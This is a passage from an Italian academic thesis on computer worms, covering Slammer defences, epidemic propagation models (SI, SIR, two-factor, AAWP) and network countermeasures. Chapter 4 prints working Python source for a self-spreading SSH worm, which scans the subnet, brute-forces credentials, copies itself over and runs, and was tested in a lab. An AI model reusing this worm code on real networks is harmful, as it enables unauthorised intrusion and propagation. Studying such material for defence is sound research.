fino a 30000 scansioni al secondo. In pratica, a causa della bandwidth limitata
e dell’overhead per-packet, il massimo tasso di scansione osservato è di 26000
scansioni al secondo e con una media di circa 4.000 scansioni al secondo durante
la prima fase della crescita del worm. SQL Slammer pur avendo una taglia di
soli 376 byte contiene un veloce analizzatore di indirizzi di rete. La dimensione
effettiva del frame trasmesso in rete raggiunge, per via dei dati di intestazione,
la dimensione di 404 byte; dimensione ragionevolmente inferiore a quella dei frame contenenti il worm Code Red e Nimda, grandi rispettivamente 4Kb e 60 Kb.
La tecnica di scanning di Slammer è cosı̀ aggressiva da interferire rapidamente
sulla sua crescita. Di conseguenza la percentuale di macchine infette è andata
2.4. SLAMMER WORM
31
diminuendo per via di uno scarso bandwidth. Per cui Slammer ha raggiunto il
suo massimo scanning rate nei primi minuti della sua espansione.
2.4.8
Difesa
Per verificare l’eventuale suscettibilità del proprio sistema al worm SQL Slammer era consigliato utilizzare Slammer Vulnerability Assessment Tool. Si trattava di un tool in grado di rilevare non solo la suscettibilità del sistema al worm
ma suggeriva le azioni da compiere per proteggere il proprio sistema. Altri tool
come SQL Scan Tool, SQL Check o SQL Critical Update permettevano di analizzare i computer su cui erano presenti istanze di SQL Server 2000 e MSDE
2000 potenzialmente vulnerabili al worm. Siccome il worm non memorizzava
copie di se stesso sul disco, era sufficiente riavviare il server per farlo sparire.
Ciò, però, non proteggeva il sistema da un nuovo attacco. Bisognava, quindi,
installare le patch fornite dalla Microsoft. Una soluzione preventiva era quella
di utilizzare dei filtri di input/output. In particolare, i filtri di input consentono
soltanto a traffico controllato di entrare nella rete che proteggono. I server sono
tipicamente le sole macchine che hanno bisogno di accettare traffico entrante
dall’Internet mondiale. Poiché la politica di rete utilizzata prevede che host
esterni possano inviare traffico inbound soltanto verso well-known-port di server, si possono applicare tali filtri di input direttamente ai border-router della
rete per bloccare traffico non autorizzato. I filtri di output consentono soltanto
a traffico controllato di uscire dalla rete che proteggono. Tipicamente questo è
necessario per macchine server che danno origine a traffico outbound sulla rete
(Internet). Nel caso di questo worm, l’impiego dei filtri di input/output poteva
aiutare a prevenire la compromissione di sistemi dall’attacco di altri sulla rete.
Il blocco di datagram UDP con numero di porta sorgente o destinazione 1434
da parte di un sistema riduceva il rischio di essere infettato da o di infettare
sistemi esterni.
32
CAPITOLO 2. WORM STORICI
Capitolo 3
Modelli di diffusione
I worm attivi sono stati una minaccia per la sicurezza su Internet dai tempi del
worm di Morris comparso nel 1988. I worm Code Red e Nimda hanno infettato
centinaia di migliaia di sistemi, provocando danni sia nel settore pubblico che
privato per svariati milioni di dollari. È di grande importanza, quindi, caratterizzare e monitorare le modalità di diffusione dei worm ed essere abili a derivare
metodi per difendere effettivamente i sistemi contro queste minacce. Negli anni
’90, Kephart e White presentarono il modello epidemiologico per comprendere
e controllare la prevalenza di virus. Questo modello è basato sull’epidemiologia
biologica e usa equazioni differenziali non lineari per fornire una comprensione
qualitativa della diffusione di virus. I virus e i worm mostrano infatti una similarità ai virus biologici per quanto riguarda la loro auto-riproducibilità e la loro
propagazione. Per questo motivo i modelli esistenti su questi ultimi possono
essere adattati per descrivere la propagazione dei worm sulla rete. Un modello
accurato fornisce informazioni preziose sul comportamento del worm e può essere utile nell’identificare i danni da esso causati e le caratteristiche della sua
propagazione attraverso la rete.
3.1
Il modello epidemico semplice (modello SI)
Nel modello epidemico semplice (SI) la popolazione viene divisa in due gruppi:
• Gli individui sensibili, S(t)
• Gli individui infetti, I(t)
Secondo il modello, la taglia della popolazione è grande e non è possibile una
guarigione (recovery) o la morte dei soggetti infetti: se un individuo viene infettato resterà nello stato di infezione per sempre. Il modello epidemico semplice
per una popolazione finita è il seguente:
dI(t)
= βI(t)S(t)
dt
(3.1)
dove S(t) = N − I(t), N è la taglia della popolazione e β è il tasso di infezione.
Secondo l’equazione 3.1 il carico di host infetti rispetto al tempo è direttamente
proporzionale al tasso di infezione β, al numero di host infetti al tempo t e ai
33
34
CAPITOLO 3. MODELLI DI DIFFUSIONE
rimanenti host sensibili S(t).
La figura 3.1 mostra la distribuzione della popolazione infetta I(t) e quella
Figura 3.1: Modello epidemico semplice secondo l’equazione 3.1
sensibile S(t).
Il modello epidemico SI non considera la rimozione degli host infetti. In una
situazione reale che riguardi i virus e i worm si deve tener conto della possibilità
di fornire patch o upgrade agli host infetti, rimuovendo quindi questi host sia
dalla popolazione infetta che da quella sensibile. Per questo motivo è necessario
il passaggio ad un altro modello. Tuttavia il modello appena descritto risulta
applicabile nella fase iniziale della propagazione dei worm, poiché in questa fase
non sono ancora disponibili cure per l’infezione.
3.2
Il modello epidemico generale (modello SIR)
Il modello epidemico generale (SIR) estende il modello SI dividendo gli host in
tre gruppi:
• Individui sensibili, S(t)
• Individui infetti, I(t)
• Individui rimossi, R(t)
In questo modello un individuo può guarire dalla malattia diventando cosı̀ immune ad essa per sempre. Nel caso dei worm, un host può essere aggiornato o
dotato di una patch per diventare immune ad un particolare tipo di minaccia.
Il modello SIR è il seguente:
dI(t)
dR(t)
= βI(t)S(t) −
dt
dt
(3.2)
dR(t)
= γI(t)
dt
(3.3)
dove γ è il tasso di rimozione.
Il modello SIR migliora il modello SI considerando che alcuni individui infetti vengono guariti o muoiono dopo una certa quantità di tempo. Tuttavia,
3.3. IL MODELLO A DUE FATTORI
35
Figura 3.2: Modello epidemico generale secondo l’equazione 3.2
Figura 3.3: Rimozione sia degli host sensibili che degli host infetti
questo modello non è ancora perfettamente idoneo a descrivere la propagazione
dei worm attraverso Internet, poiché le contromisure adottate per la rimozione
delle minacce causano la rimozione non solo degli host infetti (come prevede il
modello) ma anche di quelli sensibili. Inoltre, nel modello il tasso di infezione
β è considerato costante, cosa che non è vera per i worm in grado di infettare
numerosi host attraverso la rete.
3.3
Il modello a due fattori
Analizzando i report sugli incidenti dovuti ai computer worm si scopre la presenza di due fattori che influenzano la loro propagazione e che non sono previsti
dai modelli epidemici tradizionali:
• Le contromisure adottate per far fronte alle minacce causano la rimozione
sia degli host infetti che di quelli sensibili alle minacce (si veda la figura
3.3).
• Il tasso di infezione β decresce a causa del crescere del traffico dovuto alle
scansioni eseguite dai worm.
Per descrivere un nuovo modello che tenga conto di questi fattori per la propagazione dei worm sulla rete bisogna modellare il tasso di infezione β in funzione
del tempo, cioè β(t).
Il processo di rimozione degli host causato dalle contromisure adottate per far
fronte alle minacce consiste di due parti:
36
CAPITOLO 3. MODELLI DI DIFFUSIONE
Figura 3.4: Modello a due fattori
• rimozione degli host infetti,
• rimozione degli host sensibili.
Il nuovo modello è noto come modello a due fattori (Two factor worm model)
ed è descritto dalla seguente equazione:
dR(t)
dI(t)
= β(t)I(t)S(t) −
dt
dt
(3.4)
S(t) = N − I(t) − R(t) − Q(t)
(3.5)
dove R(t) rappresenta il numero di host rimossi dalla popolazione infetta al
tempo t, mentre Q(t) rappresenta il numero di host rimossi dalla popolazione
sensibile.
Per risolvere l’equazione 3.4 è necessario conoscere le proprietà dinamiche del
worm:
• β(t): è determinato dall’impatto del traffico generato dal worm sulla rete
e dall’efficienza di diffusione del codice del worm.
• R(t), Q(t): comprendono la consapevolezza del worm da parte delle persone e la difficoltà di applicare patch o politiche di filtraggio.
Per determinare R(t) è possibile adottare la stessa assunzione usata per il modello SIR (equazione 3.3). La rimozione degli host dalla popolazione sensibile
è più complicata. Più i computer vengono infettati, più aumenta la consapevolezza del worm da parte delle persone coinvolte e più aumenta l’importanza
di difendersi contro la minaccia, quindi la velocità di immunizzazione cresce col
tempo. La velocità decresce invece quando il numero di host sensibili è ridotto. Per questo motivo, il processo di rimozione degli host sensibili assomiglia al
modello epidemico semplice (si veda l’equazione 3.1), essendo Q(t) direttamente
proporzionale al numero di host sensibili (S(t)) ed infetti (I(t)) al tempo t.
Infine, β(t) è descritta dall’equazione:
β(t) = β0 [1 −
I(t) η
]
N
(3.6)
3.4. AAWP
37
Figura 3.5: Confronto tra la diffusione del worm Code Red e il modello a due fattori
dove β0 è il tasso di infezione iniziale. L’esponente η è usato per regolare la
sensibilità del tasso di infezione in base al numero di host infetti I(t).
Per l’esattezza, la propagazione dei worm è un processo discreto, tuttavia l’uso di
un’equazione differenziale continua quale l’equazione 3.4 è giustificato, essendo
questa approssimazione accurata per descrivere sistemi grandi e complessi ed è
ampiamente usata nella costruzione di modelli epidemici.
Se si confronta il modello a due fattori con i dati osservati in seguito alla
diffusione del worm Code Red nel 2001, si nota una diminuzione del tasso di
infezione nel momento in cui circa il 50% della popolazione sensibile era stata
infettata (Figura 3.5). Continuando ad usare i modelli epidemici tradizionali si
corre il rischio di sopravvalutare la diffusione e i danni causati dai worm, poiché
essi non tengono in considerazione la diminuzione del tasso di infezione causato
dall’aumentare del traffico sulla rete. Tuttavia questi modelli continuano ad
essere validi per la descrizione delle fasi iniziali di un worm.
3.4
3.4.1
AAWP
Descrizione
Quando un worm attivo è diffuso su Internet, simultaneamente scansiona molte
macchine nel tentativo di trovare una macchina vulnerabile da infettare. Quando finalmente trova la sua preda, invia una sonda per infettare il target. In caso
di successo, una copia del worm è trasferita sul nuovo host. Quando, invece,
viene raggiunta una macchina non vulnerabile o un indirizzo IP non utilizzato, il worm non costituisce nessuna minaccia. Durante il processo di diffusione
del worm, alcune macchine potrebbero smettere di funzionare correttamente,
costringendo gli utenti a riavviare i computer o almeno ad ”uccidere” alcuni
processi che potrebbero essere stati sfruttati dal worm. In tal modo, queste
macchine, che prima erano infette, diventano nuovamente vulnerabili a nuove
infezioni. Per prevenire nuovi attacchi, potrebbe essere necessaria una patch
che ripara i bug di sicurezza delle macchine. In tal modo le macchine che prima
risultavano vulnerabili con la patch diventano invulnerabili al worm.
38
CAPITOLO 3. MODELLI DI DIFFUSIONE
Figura 3.6: Parametri per la diffusione di un worm
Per accelerare la diffusione di worm attivi, Weaver presentò l’idea di ”hitlist”. Molto prima che un attaccante rilascia il worm, viene raccolta una lista
di possibili macchine vulnerabili. Dopo che il worm è stato lanciato su una
macchina presente nella lista, inizia una scansione di quest’ultima. Quindi il
worm prima infetta le macchine presenti nella lista e una volta che l’elenco è
stato completato, inizia a infettare altre macchine vulnerabili. Nella Figura 3.6
sono mostrati i parametri coinvolti nella diffusione di un worm. Ci sono diversi
meccanismi di scansione per scegliere un target, come random, local subnet,
permutation e topological scanning. Nella scansione random si assume che ogni
macchina è in grado o di infettare o di essere infettata. Tale rete può essere
rappresentata come un grafo completamente connesso, in cui i nodi rappresentano le macchine e gli archi rappresentano le connessione fra coppie di nodi. Il
modello AAWP è usato come modello di scansione random. Nella local subnet
scanning tutte le macchine sono collegate direttamente fra di loro. Tuttavia,
invece di selezionare i target in maniera casuale, il worm seleziona gli host dallo
spazio di indirizzamento locale. Ad esempio:
• 50% delle volte, sarà scelto un indirizzo con i medesimi 16 bit iniziali.
• 25% delle volte, sarà scelto un indirizzo con i medesimi 8 bit iniziali.
• 25% delle volte, sarà scelto un indirizzo a caso.
3.4.2
Analisi
Si supponga di conoscere il risultato di un’infezione in un singolo time-tick. Al
tempo i ni host vengono infettati e mi è il numero totale di macchine vulnerabili.
Teorema 1 Se ci sono mi macchine vulnerabili (incluse le macchine infettate) e
ni macchine infette, allora in media, al prossimo time tick il numero di macchine
infettate sarà
1
(mi − ni )[1 − (1 − 32 )sni ]
2
dove s è il tasso di scansione.
Il teorema può essere provato per induzione sul numero di scansioni.
Dato un death rate d e un patching rate p, al prossimo time-tick si avranno
dni + pni macchine infette che cambieranno il loro stato, mentre il numero di
3.4. AAWP
39
Figura 3.7: Effetti dei parametri sulla diffusione (tutti i casi sono su 1000000 di host
vulnerabili, un rate scanning di 100 scans/secondo e un death rate di 0,001/secondo)
host vulnerabili (inclusi quelli infetti) sarà ridotto a (1 − p)mi . Per questo
motivo al prossimo time-tick il numero totale di macchine infette sarà:
ni+1 = ni + (mi − ni )[1 − (1 −
1 sni
) ] − (d + p)ni
232
Mentre, per quanto riguarda gli host vulnerabili si ha
mi+1 = (1 − p)mi
Da cui si ricava
mi = (1 − p)i m0 = (1 − p)i N
Infine, effettuando le opportune sostituzioni si ottiene la seguente formula:
ni+1 = (1 − d − p)ni + [(1 − p)i N − ni ][1 − (1 −
1 sni
) ]
232
(3.7)
Utilizzando la precedente equazione è possibile analizzare le caratteristiche della
diffusione di worm attivi. Ad esempio la Figura 3.7 (a) mostra la propagazione di worm attivi con diverse dimensioni di hitlist. La Figura 3.7 (b) mostra
come la diffusione del worm rallenti all’aumentare del patching rate. Nella Figura 3.7 (c) viene visualizzato l’effetto del tempo per completare l’infezione,
considerando diversi intervalli di tempo (1 sec, 30 sec, 60 sec). Il worm si propaga più lentamente all’aumentare del tempo richiesto per infettare una singola
macchina.
3.4.3
Confronti
Le differenze tra modello AAWP e modello epidemico sono:
1. Il modello epidemico è continuo nel tempo, mentre AAWP è un modello
discreto.
Il modello AAWP è più accurato rispetto a quello epidemico: nel modello
AAWP, un computer non può infettare altri host prima che sia infettato
completamente; nel modello epidemico, invece, un host può avviare un’infezione anche prima di essere completamente infettato. Quindi, la velocità
che il worm può raggiungere e il numero di host che possono essere infettati
possono essere molto differenti.
40
CAPITOLO 3. MODELLI DI DIFFUSIONE
Figura 3.8: Confronto fra AAWP e modello epidemico.
2. Il modello epidemico non considera il tempo impiegato dal worm per infettare un host, a differenza del modello AAWP. Diversi worm hanno differenti abilità di infezione che sono rispecchiate dal tasso di scansione (o
tasso di natalità) e dal tempo speso per infettare un host. Il tempo necessario per infettare un host dipende sempre dalle dimensioni della copia
del worm, dal grado di congestione della rete, dalla distanza tra sorgente
e destinazione e dalla vulnerabilità che il worm sfrutta. Si può dimostrare
che il tempo per infettare un host è un importante fattore per la diffusione
di worm attivi.
3. Nel modello AAWP è possibile considerare che il worm può infettare la
stessa destinazione più volte, mentre il modello epidemico ignora questo
caso. Infatti, non è raro per un host vulnerabile essere colpito da due o
più scansioni contemporaneamente.
Entrambi i modelli, tuttavia, sono deterministici e provano ad ottenere il numero atteso di host infettati, dati la taglia degli host inizialmente infettati, il
numero totale di host vulnerabili, il tasso di scansione/natalità e il tasso di mortalità. Il modello AAWP prevede la diffusione del worm random-scanning più
accuratamente rispetto al modello epidemico. Nella Figura 3.8 viene mostrato
il confronto fra il modello AAWP e il modello epidemico con 10000 macchine
vulnerabili, una hitlist con 1 entry, un birt rate di 5/ time tick, un death rate
di 1/ time tick e 2147500 scans/ time tick.
Capitolo 4
Emulazione di un worm
In questo capitolo descriveremo un esperimento che abbiamo effettuato per analizzare la propagazione di un worm. Nelle sezioni seguenti mostreremo il codice
che abbiamo implementato per la costruzione del worm e i metodi di diffusione
adottati. Analizzeremo infine i tempi di propagazione del nostro worm in un
ambiente di emulazione.
4.1
Descrizione del worm
Il comportamento del worm implementato si ispira a quello di Morris in quanto
si effettua un password-craking sul protocollo SSH (il protocollo di rete che ha
rimpiazzato RSH, il protocollo che veniva attaccato dal Worm di Morris).
Il worm agisce effettuando i seguenti passi:
1. Scansione della rete: il worm analizza le interfacce di rete che trova
sull’host vittima e comincia la scansione verso altri host nella stessa rete;
2. Port scanning: dopo aver verificato la presenza di un host online, il
worm verifica che su quest’host sia attiva la porta per il servizio SSH ;
3. Password-craking: se il servizio SSH è attivo, il worm procede con un
attacco a dizionario per cercare di introdursi sull’host vittima;
4. Worm upload: trovate le credenziali, il worm effettua l’upload dei file
necessari per essere eseguito sull’host vittima;
5. Command execution: il worm presente sull’host vittima viene eseguito
per inizializzare un nuovo attacco.
4.1.1
Procedura d’infezione
Scansione della rete Il primo passo compiuto dal worm consiste nell’analizzare la sottorete in cui è presente l’host vittima allo scopo di individuare
potenziali indirizzi IP vulnerabili. Per raggiungere questo scopo è necessario
analizzare le interfacce di rete attive sull’host vittima: in un sistema Linux è
possibile ottenere un elenco di queste interfacce analizzando il contenuto della
directory
41
42
CAPITOLO 4. EMULAZIONE DI UN WORM
/ sys / c l a s s / net /
La strategia di scansione utilizzata è Localized Scanning. Per selezionare gli
indirizzi che venivano usati per la scansione si è scelto di analizzare gli indirizzi
della stessa sottorete maschera 24 (/24).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def network_scan () :
interface_list = os . listdir ( ’/ sys / class / net / ’)
for interface in interface_list :
if interface == ’ lo ’:
continue
try :
ni . ifaddresses ( interface )
ip = ni . ifaddresses ( interface ) [2][0][ ’ addr ’]
print " [+] Interfaccia di rete trovata : " +
interface
mask_ip = " . " . join ( ip . split ( ’. ’) [: NETMASK ])
for i in range ( NETWORK_RANGE ) :
targetIP = mask_ip + " . " + str ( i )
if targetIP != ip :
t = Thread ( target = ssh_scan , args =( targetIP , int
(22) ) )
t . start ()
except Exception as e :
print " [ -] Interfaccia di rete non valida : " +
interface
continue ;
Port Scanning Il passo successivo alla scansione della rete è quello di verificare quali servizi siano attivi su un host online. Il servizio che abbiamo sfruttato
per garantire la propagazione del worm è il servizio SSH attivo di default sulla
porta 22. Per verificare che questo servizio sia attivo sull’host in esame, il codice
del worm effettua una connessione TCP sulla porta in questione.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def test_connection ( tgtHost , tgtPort ) :
try :
connSkt = socket ( AF_INET , SOCK_STREAM )
connSkt . settimeout (1)
connSkt . connect (( tgtHost , tgtPort ) )
screenLock . acquire ()
print ’ [+] {0} | TCP OPEN for IP {1} ’. format (
tgtPort , tgtHost )
return True
except Exception as e :
screenLock . acquire ()
if str ( e ) == " timed out " :
print ’[ -] HOST {0} is Offline ’. format ( tgtHost )
else :
4.1. DESCRIZIONE DEL WORM
16
17
18
19
20
43
print ’[ -] {0} | TCP CLOSED for IP {1} caused by
{2} ’. format ( tgtPort , tgtHost , e )
connSkt . close ()
return False
finally :
screenLock . release ()
Password-craking Il worm in questione usa un attacco a dizionario per cercare di introdursi sull’host vittima dopo aver verificato che il servizio SSH sia
attivo. Per effettuare questo tipo di attacco bisogna tenere in considerazione che
il servizio SSH richiede due parametri per l’autenticazione, ovvero username e
password. Per questo motivo vengono utilizzate due liste nell’attacco a dizionario implementato dal worm: una relativa agli username e l’altra alle password.
Le due liste sono state selezionate a partire da username e password che vengono
utilizzati molto spesso come credenziali per il protocollo SSH. Per riuscire ad
individuare le credenziali si è scelto di provare tutte le possibili combinazioni
delle parole presenti nelle due liste.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def ssh_scan ( tgtHost , tgtPort ) :
if not test_connection ( tgtHost , tgtPort ) :
return None
uF = open ( USERFILE , ’r ’)
for user in uF . readlines () :
user = user . strip ( " \ r " ) . strip ( " \ n " )
pF = open ( PASSFILE , ’r ’)
for password in pF . readlines () :
password = password . strip ( " \ r " ) . strip ( " \ n " )
s = ssh_connect ( tgtHost , user , password )
if ( s != None ) :
print " [+] User : {0} Password : {1} Host : {2}
" . format ( user , password , tgtHost )
exploit_ssh (s , tgtHost , user , password )
return
pF . close ()
Worm upload Uno dei passi fondamentali per la costruzione di un worm
è il suo caricamento su un sistema vittima per la sua successiva esecuzione
in un nuovo ambiente. Il nostro worm effettua questa operazione caricando
sull’host attaccato sia l’eseguibile, necessario per l’esecuzione, che i file delle liste
necessarie per effettuare un successivo attacco ad altri sistemi. Il caricamento
dei file citati viene effettuato usando il protocollo SSH e le sue relative funzioni.
1
2
3
4
5
6
def upload_file ( host , user , password , filename ) :
try :
target_string = user + " @ " + host + " :~/ "
source_string = " / home / " + getpass . getuser () + " / " +
filename
cmd = ’ scp ’ + source_string + " " + target_string
print cmd
44
CAPITOLO 4. EMULAZIONE DI UN WORM
7
8
9
10
11
12
13
14
15
16
17
child = pexpect . spawn ( cmd )
child . expect ([ " password " ])
child . sendline ( password )
child . expect ( pexpect . EOF )
print " [+] File " + filename + " copiato con successo .
"
return True
except Exception as e :
print e
print " [ -] Problema nel caricamento del file . "
return False
Command execution Dopo aver caricato i file sull’host infettato è necessario
che il worm esegua una copia di se stesso sull’host vittima. Dopo questo passo il
worm appena creato comincierà ad eseguire una nuova serie di attachi iniziando
dal processo di scansione.
1
2
3
4
5
6
7
8
9
10
11
12
13
def send_command (s , cmd ) :
s . sendline ( cmd )
s . prompt ()
print s . before
def exploit_ssh (s , tgtHost , user , password ) :
print " [+] Inizio exploiting "
if upload_file ( tgtHost , user , password , FILENAME ) and
upload_file ( tgtHost , user , password , USERFILE ) and
upload_file ( tgtHost , user , password , PASSFILE ) :
cmd = " chmod + x " + FILENAME
send_command (s , cmd )
cmd = " python " + FILENAME
send_command (s , cmd )
print " [+] Exploiting completato "
4.2
Emulazione della propagazione del worm
Per testare il comportamento del nostro worm ci siamo serviti di un ambiente
di emulazione che comprende 4 laptop su cui sono state eseguite un totale di 10
macchine virtuali linux.
4.2.1
Preparazione dell’ambiente di test
La distribuzione Linux che è stata eseguita su ogni macchina è stata Lubuntu
15.10, 32 bit. Benché una situazione reale richieda che il worm venga diffuso
sotto forma di eseguibile binario, per semplicità si è scelto di effettuare i test
usando la versione del worm come script di Python. Ciò comporta l’installazione dell’ambiente di sviluppo Python su ogni host che partecipa alla emulazione,
comprese le librerie necessarie per l’esecuzione del worm.
4.2. EMULAZIONE DELLA PROPAGAZIONE DEL WORM
45
È da precisare che ottenere un eseguibile binario a partire da uno script
Pyhton non è affatto un’operazione complessa: tramite PyInstaller (http://
www.pyinstaller.org/) si può facilmente ottenere un eseguibile a partire da
uno script Python; il file ottenuto potrà essere eseguito su qualsiasi sistema (è
possibile specificare il sistema target, PyInstaller supporta sia Windows, Mac
che Linux), senza il bisogno che su di esso sia disponibile l’interprete Python o
le librerie opportune.
Dopo aver preparato le macchine, ogni host è stato collegato allo stesso
switch in modo che gli host potessero raggiungersi l’un l’altro direttamente, cosı̀
da non tener conto di questioni topologiche.
4.2.2
Modalità di diffusione
L’obiettivo della emulazione è l’infezione dei 10 sistemi contenuti nell’ambiente
di test. All’inizio l’ambiente consiste di 9 sistemi sensibili all’infezione e di
un solo sistema infetto (figura 4.1). Dovendo tener conto solo del numero di
macchine che è possibile infettare, si è scelto di non aggiungere host immuni
all’infezione: la fine del test viene stabilita quando tutti gli host presenti nella
emulazione sono stati infettati.
Figura 4.1: Ambiente di emulazione: situazione iniziale
L’inizio del test viene stabilito scegliendo un host a caso su cui viene poi
eseguito il worm. All’inizio della emulazione il codice maligno è presente solo
su questo host. Il test prosegue con la scansione dell’host scelto sulla rete (il
worm estrae l’indirizzo IP da una delle sue interfacce di rete e scansiona la
sottorete /24). Dopo aver infettato un altro host sulla rete si fa partire lo stesso
processo sull’host infetto. A questo punto nella nostra rete sono presenti due
host infetti e 8 host sensibili all’infezione. Il processo continua fino a quando
tutti gli host sono stati infettati (figura 4.2). Per scelta progettuale del worm,
non è prevista la sovrascrittura del codice necessario per l’esecuzione del worm
su un host vittima, ciò fa sı̀ che se una macchina è stata già infettata, una
successiva infezione avrà esito negativo.
4.2.3
Risultati
Il tempo richiesto per l’infezione totale dell’ambiente di emulazione è stato di
322, 39 sec (circa 5 minuti). Il tempo è stato ottenuto facendo partire un timer
per calcolare il tempo dal momento in cui il worm sul primo host incomincia la
46
CAPITOLO 4. EMULAZIONE DI UN WORM
Figura 4.2: Ambiente di emulazione: situazione finale
scansione, fino al momento in cui l’ultimo host viene infettato. Per la valutazione
del test bisogna tener conto della ridotta dimensione della rete in questione, che,
oltre ad una rapida diffusione del codice maligno, non comporta rallentamenti
eccessivi nel momento in cui la maggior parte degli host sono stati infettati ed
eseguono le scansioni (in una situazione reale, la presenza di un gran numero
di worm che effettua scansioni sulla rete produrrebbe un rallentamento sulla
stessa e quindi un rallentamento nella propagazione del worm, come previsto
dal modello a due fattori).
Capitolo 5
Misure di sicurezza
Dalle informazioni che abbiamo acquisito dai capitoli precedenti, in particolar
modo dall’analisi dei Worm più significativi e dall’analisi dei modelli di propagazione, dovremmo essere in grado di sintetizzare un modello standard che
generalizzi i meccanismi di propagazione di questi programmi, e sulla base di
questo modello discutere su come applicare delle contromisure che ci permettano di contrastare questa minaccia. Il modello che andremo ad analizzare è il
seguente:
Initial Infection:Il modello presuppone che esista un sistema su cui è già
presente il Worm. Questo è giustificato dal fatto che per diffondersi il Worm ha
bisogno di essere in esecuzione da qualche parte.
Target Acquisition: Per far sı̀ che il Worm si propaghi è necessario trovare
ulteriori macchine da infettare. Alcune delle strategie più usate per adempiere
a questo compito sono: la ricerca di Email alle quali inviare il Worm, una scansione della rete per individuare degli host vulnerabili a qualche tipo di attacco
che permetta di eseguire delle azioni (sulla macchina vittima) con il fine di duplicare il codice malevolo, oppure analizzando il traffico della rete per trovare
dei Web Server che sono spesso contattati dalle vittime, i quali saranno a loro
volta analizzati in cerca di vulnerabilità.
Delivery of Hostile Code: Dopo aver ottenuto le informazioni sui possibili target è necessario trasferire il Worm. Alcuni vettori di attacco possono essere
le Email, il meccanismo di controllo remoto del sistema (SSH), oppure delle
vulnerabilità note ma non corrette che permettono di introdursi nel sistema ed
eseguire del codice.
Execution of Hostile Code: La presenza del Worm su un sistema è una condizione necessaria ma non sufficiente per far sı̀ che quest’ultimo si propaghi. La
sua esecuzione deve essere effettuata in qualche maniera. Alcuni esempi classici
possono essere: Invocazione diretta tramite la linea di comando, esecuzione del
codice tramite Buffer Overflow o esecuzione automatica da parte della macchina
vittima.
Optional Trasfer of Additional Code: Alcuni Worm trasferiscono solo una parte
del loro codice durante la fase 3. In questi casi è necessario trasferire i file rima47
48
CAPITOLO 5. MISURE DI SICUREZZA
Figura 5.1: Modello standard di propagazione di un worm.
nenti dopo che la macchia è compromessa, di solito vengono utilizzati i servizi
FTP/TFTP. Dopo aver costruito modello di propagazione diventa molto più
facile sviluppare e implementare contromisure efficaci. Naturalmente una ”contromisura efficace” è qualsiasi meccanismo che impedisce, contiene, o rallenta la
diffusione di un worm. Occupandoci della diffusione dei Worm sulla rete globale,
l’analisi che segue esamina in dettaglio la fase di Target Acqusition del modello
per determinare quali contromisure, eventualmente, possono rivelarsi efficaci.
Acquisizione del target Durante la fase di acquisizione del bersaglio un
sistema infetto cerca altri sistemi che possono essere suscettibili all’infezione. Il
meccanismo di targeting varia sulla base dei mezzi con cui il codice ostile sarà
inoltrato verso bersaglio, nel nostro caso andremo ad esaminare la tecnica più
popolare, basata sulla scansione degli indirizzi IP.
IP Scanning Il metodo più popolare per i sistemi di mira fino ad oggi è la
scansione degli indirizzi IP. Questo dovrebbe essere una sorpresa dal momento
che la stragrande maggioranza dei servizi offerti su Internet sono progettati per
essere accessibile, direttamente o indirettamente, tramite un indirizzo IP com-
49
binato con un numero di porta TCP. L’algoritmo di scansione è il seguente:
1. Generare un indirizzo IP.
2. Tentare di connettersi al sistema con l’invio di un pacchetto TCP SYN.
a. Se un pacchetto TCP SYN-ACK viene ricevuto allora è possibile
scansione il target alla ricerca di qualche servizio che permette di sfruttare
delle vulnerabilità per iniettare il codice malevolo.
b. Nel caso in cui non otteniamo risposta, è probabile che il servizio
su cui abbiamo provato ad accedere sia disattivato o che la macchina e/o
la rete che stiamo provando ad esaminare sia dotata di qualche dispositivo
di sicurezza.
Il punto 2, ci dà un ottimo spunto di riflessione, poiché questo tipo di acquisizione del target comporta l’interazione con il mondo esterno. In questo caso la
contromisura più semplice da implementare è anche la più efficace; I servizi non
necessari dovrebbero essere disattivati. In questa situazione, l’host infetto invia
un pacchetto con il flag SYN ”attivo” che viene ricevuto dal target, ma dal momento che il servizio non è attivo, la vittima manda indietro un pacchetto con il
flag RST attivo, la cui ricezione fa sı̀ che l’attaccante passi ad un altro bersaglio.
L’efficacia dell’approccio chiudere i servizi non necessari non deve essere sottovalutata. Molto spesso vengono lasciati attivi dei servizi anche quando non sono
necessari, lasciando che diventino dei vettori di attacco pericolosi. Una prova di
quanto detto è possibile riscontrarla nel Worm Blaster che approfittando di un
buffer overflow in Windows RPC DCOM. Tale servizio permette ai programmi
di eseguire chiamate a delle procedure in maniera remota attraverso la rete.
Tuttavia, gran parte delle applicazioni e, di conseguenza, la maggior parte degli
utenti, non hanno bisogno di questa funzionalità. In ragione di ciò il servizio
DCOM avrebbe potuto essere disattivato senza compromettere la funzionalità
del sistema.
Tuttavia, l’approccio appena descritto soffre di due inconvenienti:
1. E’ necessario lasciare attivi solo i servizi che vengono utilizzati.
2. I pacchetti SYN e RST possono ancora causare congestione sulla rete.
Entrambi questi problemi possono essere risolti in modo appropriato implementando un qualche tipo di firewall che protegga i servizi che devono essere lasciati
attivi. In una semplice configurazione di rete, un firewall viene inserito tra l’host
che prova a portare a termine l’attacco e l’host che deve essere protetto. Un
esempio viene mostrato in Figura 5.2.
Come si può vedere dalla figura, quando l’host infettato invia un pacchetto
con il flag SYN ”attivo” verso l’host vittima, il pacchetto è prima intercettato
dal firewall. Il firewall è configurato per prevenire che un traffico anomalo possa
50
CAPITOLO 5. MISURE DI SICUREZZA
Figura 5.2: Operazione base di un Firewall.
raggiungere gli obiettivi sensibili su cui sono attivi i servizi. Questo viene fatto
in maniera ”trasparente” scartando i pacchetti SYN che potrebbero causare
problemi di DoS. L’utilizzo di un firewall in questa situazione apporta almeno
due vantaggi. Il primo è che se il firewall è posizionato nel modo corretto può
impedire l’accesso ai servizi attivi da parte di host infetti e questo ci permette
di arrestare il problema della diffusione già nelle prime fasi dell’attacco. Un
ulteriore vantaggio è, almeno nel caso di comunicazione TCP, che il pacchetto
viene scartato e sull’host infetto viene triggerato il ”timeout” che causa un nuovo
invio del pacchetto diverse volte. Questo fa rallentare la velocità della scansione
di una rete da parte dell’host malevolo ed implicitamente riduce ulteriormente
la congestione della rete e rallentala velocità di propagazione del Worm.
Quanto detto fino ad ora comprende gli elementi essenziali di prevenzione
durante la fase di scansione IP. E’ importante ricordare che oltre a prevenire
la propagazione, una contromisura è considerata efficace se contiene o rallenta
propagazione. A tal fine ci sono altre due tecnologie da considerare, i sistemi
